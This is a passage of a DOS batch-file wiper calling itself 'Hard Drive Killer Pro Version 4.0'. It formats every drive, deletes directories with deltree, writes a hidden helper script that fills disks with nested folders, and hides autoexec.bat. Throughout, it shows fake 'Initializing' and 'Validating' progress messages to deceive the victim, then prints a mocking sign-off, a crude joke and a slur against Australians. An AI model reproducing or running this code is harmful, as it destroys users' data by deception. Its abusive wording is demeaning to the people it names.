echo for %%%%a in (\"if not exist %%2//nul md %%2\" \"if exist %%2//nul cd %%2\") do %%%%a >>c://temp.bat
echo for %%%%a in (\">ass_hole.txt\") do echo %%%%a Your Gone @$$hole!!!! >>c://temp.bat
echo if not exist %%1://%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//nul goto startmd >>c://temp.bat
call attrib +r +h c://temp.bat >nul
cls
echo Initializing variables . . .
rem deltree /y %%a://*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c://temp.bat %%a Munga >nul
cls
echo Initializing variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:// /S >nul
call attrib +r +h c://temp.bat >nul
call attrib +r +h c://autoexec.bat >nul
cls
echo Initializing variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a://*. >nul
cls
echo Initializing variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c://temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).